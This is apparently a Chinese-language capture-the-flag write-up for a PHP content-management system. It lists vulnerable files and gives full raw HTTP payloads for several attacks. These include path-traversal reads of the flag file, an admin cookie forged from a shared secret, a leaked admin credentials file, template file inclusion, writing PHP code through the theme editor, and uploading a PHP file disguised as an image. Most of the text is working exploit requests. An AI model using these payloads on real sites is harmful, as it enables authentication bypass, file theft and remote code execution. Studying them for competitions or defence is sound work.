8_yuns_week2

by Hence Zhang@Lancet

任意文件读取

漏洞文件位置：admin/download.php

payload：

http://47.105.121.116:9090/admin/download.php?file=/flag

构造cookie，获取管理员权限

漏洞文件位置：

admin/inc/cookie_functions.php

原理：所有的机子使用同一套代码，各机子上secret一致，且权限验证使用由secret保护的cookie。因此可以构造出cookie绕过后台认证：

> ed8c17063464177da4361f1eb2c94ce8cf032a3e=c916d462aa29995c5c4c5ac66fac3dc5cd93cf4f

Payload:

```
GET /admin/index.php HTTP/1.1
Host: en:9090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie:
PHPSESSID=ihnaj9k303tvk1cdcgkht603n7;ed8c17063464177da4361f1eb2c94ce8cf032a
3e=c916d462aa29995c5c4c5ac66fac3dc5cd93cf4f
Connection: close
```

管理员配置泄露，可以登录后台

漏洞文件位置：

data/users/admin.xml

原理：管理员账号密码可以被未授权访问，从而产生漏洞

模板文件任意文件包含

漏洞文件位置：

index.php

Payload:

```
POST /admin/changedata.php HTTP/1.1
Host: en:9090
Content-Length: 247
Cache-Control: max-age=0
Origin: http://en:9090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://en:9090/admin/edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: PHPSESSID=ihnaj9k303tvk1cdcgkht603n7;
ed8c17063464177da4361f1eb2c94ce8cf032a3e=c916d462aa29995c5c4c5ac66fac3dc5cd
93cf4f
Connection: close

nonce=cac1449f47ecdbf5b2da0dd3e51e12067a3c9e92&post-author=&post-
title=haozi&post-private=&post-parent=&post-template=../../../flag&post-
menu=&post-menu-order=&post-id=&post-metak=&post-metad=&post-
content=haozigege&redirectto=&submitted=Save+Page
```

然后访问：

http://47.105.121.116:9090/index.php?id=haozi

即可获取flag

任意文件修改

漏洞文件：

admin/theme-edit.php

payload：

```
POST /admin/theme-edit.php?t=Innovation&f=template.php HTTP/1.1
Host: en:9090
Content-Length: 128
Cache-Control: max-age=0
Origin: http://en:9090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://en:9090/admin/theme-edit.php?
t=Innovation&f=Default+Template&s=Edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: PHPSESSID=ihnaj9k303tvk1cdcgkht603n7;
ed8c17063464177da4361f1eb2c94ce8cf032a3e=c916d462aa29995c5c4c5ac66fac3dc5cd
93cf4f
Connection: close

nonce=837ba390df90c379199b4e0c5a17e9b7d258d81e&content=<?php phpinfo();?
>&edited_file=Innovation%2F1.php&submitsave=Save+Changes
```

可以将phpinfo写到1.php中

任意文件读取

漏洞文件：

admin/theme-edit.php

payload：

```
GET /admin/theme-edit.php?t=Innovation&f=../../../flag&s=Edit HTTP/1.1
Host: en:9090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://en:9090/admin/theme-edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: PHPSESSID=ihnaj9k303tvk1cdcgkht603n7;
ed8c17063464177da4361f1eb2c94ce8cf032a3e=c916d462aa29995c5c4c5ac66fac3dc5cd
93cf4f
Connection: close
```

任意文件上传

漏洞文件：

admin/upload.php

Payload:

```
POST /admin/upload.php HTTP/1.1
Host: teach:85
Content-Length: 302
Cache-Control: max-age=0
Origin: http://teach:85
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryjFXJM5hTvUrnM4Eu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://teach:85/home.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: PHPSESSID=ildobkssgh3pkglotiblr9oo77;
ed8c17063464177da4361f1eb2c94ce8cf032a3e=c916d462aa29995c5c4c5ac66fac3dc5cd
93cf4f
Connection: close

------WebKitFormBoundaryjFXJM5hTvUrnM4Eu
Content-Disposition: form-data; name="file[]"; filename="1.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundaryjFXJM5hTvUrnM4Eu
Content-Disposition: form-data; name="submit"

shell
------WebKitFormBoundaryjFXJM5hTvUrnM4Eu--
```